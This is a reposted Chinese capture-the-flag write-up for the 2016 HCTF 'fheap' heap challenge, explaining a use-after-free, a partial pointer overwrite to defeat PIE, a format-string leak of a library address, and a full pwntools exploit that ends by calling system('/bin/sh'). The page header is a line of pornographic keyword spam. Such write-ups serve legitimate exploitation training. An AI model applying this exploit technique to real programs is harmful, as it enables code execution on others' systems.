日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

2016 hctf fheap 题解

發布時間:2023/12/10 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2016 hctf fheap 题解 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

題目鏈接

https://github.com/zh-explorer/hctf2016-fheap

題目分析

題目功能只有 malloc 和 free 的功能,查看堆的布局:

全局指針沒有置空,導致 uaf 和 double free 漏洞,兩種都可以做,但是這題的重點是繞過 PIE。

  • double free 完了之后,會導致下面的情況

這里需要注意一下 create 函數的邏輯:如果輸入的字符串的長度大于 15,則重新 maloc 一塊堆塊用來存放字符串,如圖:

但是這里還是選擇使用 uaf 來做。

整體思路

  • malloc 兩個堆塊,delete 兩個堆塊

  • 重新 malloc 一個堆塊,size 大于 24,這樣就 malloc 到原來的堆塊的區域,因為全局 flag 處還存放著原來堆塊的指針,所以存在 uaf 漏洞。

  • 因為這里存在溢出,可以覆蓋 free_ptr 指針,在開啟 pie 的情況下,覆蓋最后一個字節使得 free_ptr 被覆蓋成 puts ,接著 delete 堆塊時相當于輸出 puts 函數的地址,得到基地址。

  • 重復上一步,接著覆蓋 puts 指針為 printf 函數的指針,構造一個格式化字符串漏洞,輸出得到libc地址

  • 重復上一步,覆蓋 printf 指針為 system 函數的指針,布置好 "/bin/sh",接著 delete 就調用了 system 函數

    • 格式化字符串那里存在問題,無法正常找到 libc 的地址,只能隨便找到一個 ld 庫的一個地址,但是這里的偏移都是一樣的。

    EXP

    #!/usr/bin/pythonfrom pwn import * DEBUG = 1if DEBUG:r = process('./pwn-f')elf = ELF('./pwn-f')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else:r = remote('127.0.0.1',4444)def create(size,content):r.recvuntil("3.quit")r.sendline("create ")r.recvuntil("Pls give string size:")r.sendline(str(size))r.recvuntil("str:")r.sendline(str(content))def delete(idx):r.recvuntil("3.quit")r.sendline("delete ")r.recvuntil("id:")r.sendline(str(idx))r.recvuntil("Are you sure?:")r.sendline("yes") create(10,"aaa") create(10,"bbb")delete(1) delete(0)create(25,'f'*24+p8(0xE4))delete(1) r.recvuntil("f"*24) puts_addr = u64(r.recvline("\n")[:-1].ljust(8,"\x00"))base_addr = puts_addr - 0xde4 success("base_addr :" + hex(base_addr))r.sendlineafter("Are you sure?:","H4lo")delete(0)printf_plt = base_addr + elf.plt['printf']payload = "%51$s^^".ljust(24,'A') payload += p64(printf_plt)create(32,payload)delete(1) addr = u64(r.recv(6).ljust(8,'\x00'))success(hex(addr))success("libc_addr :"+hex(addr+0xaf8-0x5d2000)) libc_addr = addr+0xaf8-0x5d2000 # 取到偏移delete(0)payload = "/bin/sh;".ljust(24,'A') payload += p64(libc_addr + libc.symbols['system'])create(32,payload)r.interactive()

    參考:

    https://github.com/zh-explorer/hctf2016-fheap https://www.cnblogs.com/shangye/p/6156350.html https://www.xctf.org.cn/library/details/21e9451548a2b5d01dcf411e90ba968fc54ac9a5/ https://blog.csdn.net/qq_33528164/article/details/79515831

    轉載于:https://www.cnblogs.com/H4lo/p/10611990.html

    總結

    以上是生活随笔為你收集整理的2016 hctf fheap 题解的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。